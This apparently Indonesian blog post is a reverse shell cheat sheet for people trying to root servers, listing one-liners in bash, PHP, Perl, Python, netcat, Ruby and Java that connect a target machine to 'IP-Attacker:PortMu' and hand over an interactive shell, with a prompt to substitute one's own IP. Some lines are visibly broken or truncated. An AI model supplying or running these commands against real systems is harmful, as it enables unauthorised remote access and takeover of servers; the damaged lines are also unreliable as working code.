Reverse Shell Cheat Sheet

Daftar Isi [Tutup]
    Hallo sobat pixel kali pasti kalian yang mau rooting server suka gagal pas mau reverse shellnya, Nyebelin bukan? Huh! Kali ini gue mau bagiin gimana sih cara lain agar bisa reverse shell ato biasa disebut Reverse Shell Cheat Sheet mungkin ini trik lama, So bagi kalian yang nggak tau langsung simak aja ya kak gimana caranya, Sebelum melakukan reverse shell, Pastikan kita sudah melakukan listening menggunakan netcat, Disini saya reverse shell menggunakan port forwarding "Apa itu Port Forwading?" Next time kita bahas, So langsung masuk ke topic aja.

    Bash Reverse Shell
    bash -i >& /dev/tcp/IP-Attacker/PortMu 0>&1

    PHP Reverse Shell
    php -r '$sock=fsockopen("IP-Attacker",PortMu);exec("/bin/sh -i <&4 >&4 2>&4");'

    Perl Reverse Shell
    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"IP-Attacker:PortMu");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    # For Windows Platform
    perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"IP-Attacker:PortMu");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
    perl -e 'use Socket;$i="IP-Attacker";$p=PortMu;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

    Python Reverse Shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP-Attacker",PortMu));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    Gimana cukup mudah bukan? buat kalian kalian yang kesulitan Reverse Shell mungkin bisa coba caranya diatas hehe, Oiya contoh saya diatas hanya beberapa cara, mungkin kalian bisa menambahkan cara lain di bawah ini.

    Netcat Reverse Shell
    nc -e /bin/sh IP-Attacker PortMu

    # If the -e option is disabled, try this
    mknod backpipe p && nc IP-Attacker PortMu 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc IP-Attacker PortMu
    rm -f /tmp/p; mknod /tmp/p p && nc IP-Attacker PortMu 0/tmp/

    # If you have the wrong version of netcat installed, try
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP-Attacker >/tmp/f

    Ruby Reverse Shell
    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP-Attacker","PortMu");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    # For Windows Platform
    ruby -rsocket -e 'c=TCPSocket.new("IP-Attacker","PortMu");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
    ruby -rsocket -e 'f=TCPSocket.open("IP-Attacker","PortMu").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    Java Reverse Shell
    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP-Attacker/PortMu;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()

    Cukup menarik bukan? Jika kalian ingin mencobanya ganti IP-Attacker dengan IP mu dan Portnya juga ya, Mungkin cukup sekian sampai disini semoga bermanfaat Don't forget to share and See you next time byee~

    1 Response to "Reverse Shell Cheat Sheet"